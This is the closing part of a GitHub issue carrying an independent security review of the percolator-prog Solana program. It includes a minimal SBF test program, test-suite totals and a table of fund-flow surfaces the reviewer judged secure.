

Appendix D — Minimal SBF isolation program (minimal-prog/)

Used once, during environment bring-up, to prove that ELFs produced by platform-tools
v1.48 are loadable by LiteSVM 0.1.0 at all (they are), and later with static data to
isolate section-layout hypotheses. Included so the tooling evidence chain is complete.

minimal-prog/Cargo.toml:

[package]
name = "minimal-prog"
version = "0.1.0"
edition = "2021"

[lib]
crate-type = ["cdylib"]
path = "lib.rs"

[dependencies]

minimal-prog/lib.rs:

#![no_std]
use core::panic::PanicInfo;

pub static DATA: [u64; 4096] = [0x5a5a5a5a5a5a5a5a; 4096];

#[panic_handler]
fn panic_handler(_info: &PanicInfo) -> ! {
    loop {}
}

#[no_mangle]
pub extern "C" fn entrypoint(input: *mut u8) -> u64 {
    // Minimal valid Solana program entrypoint stub for ELF-loading experiments.
    let d = unsafe { core::ptr::read_volatile(&DATA[17]) };
    input as *const u8;
    d
}

Appendix E — Full-suite baseline command and totals

# from percolator-prog/, with ../percolator present (path dependency):
cargo test --no-default-features --no-fail-fast
totals across 26 test binaries:
  TOTAL_PASSED = 520
  TOTAL_FAILED = 86

All 86 failures belong to suites that require sibling BPF programs
(percolator-match, percolator-nft, percolator-stake) which are private/pinned
repositories not available in this sandbox. This matches the repositorys own
KNOWN_FAILING.txt record exactly (no sibling BPFs at all ... 86 failed), i.e. no
regression is attributable to this checkout.


Report generated as part of an independent security review of dcccrypto/percolator-prog.


9. Audit Scope and Negative Findings (reviewed, verified secure)

For completeness of this report: the following fund-flow surfaces were fully reviewed
during this audit and found correctly hardened. Listed so future auditors do not redo
the work and can see the finding above in context:

Surface Protections confirmed
Deposit / Withdraw owner-or-bound-NFT authorization; canonical vault ATA pinning (verify_vault_token_account); engine solvency gate
WithdrawProtocolFee (84) / WithdrawCreatorFee (90) dedicated authority gates; accrued - withdrawn clamp; protocol-reserve threading
WithdrawInsuranceAsset (57) / WithdrawInsurance (41) per-domain budgets; market-wide cooldown (#396); D-STAKE-1 admin-drain anti-bypass
ExecuteRedemption (77) RESYNC dual watermark gate; OI reservation; insurance-stub crediting (LPVAULT-359)
RequestRedeemLpShares (76) / CancelRedemption (81) replay guard via PDA consumption; redeemer-bound destination
LpVaultCrankFees (78) clamped to engine-available surplus; no tokens move to the caller
TradeNoCpi / BatchTradeNoCpi fee basis pinned to mark; caller fee floored at config; four-way split with aggregate cross-check
TradeCpi matcher integration tail signer-stripping + aliasing rejection (W1); eight-gate matcher ABI validation; anti-off-market price band
SwapSecondaryForPrimary marketauth-gated; both legs balance-verified 1:1
ExpireBackingBucket (89) permissionless but slot sourced from runtime Clock only; moves no tokens

Context: the repository README states the code is experimental and unaudited. This
report is an independent review; a professional audit is still recommended before any
mainnet deployment.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions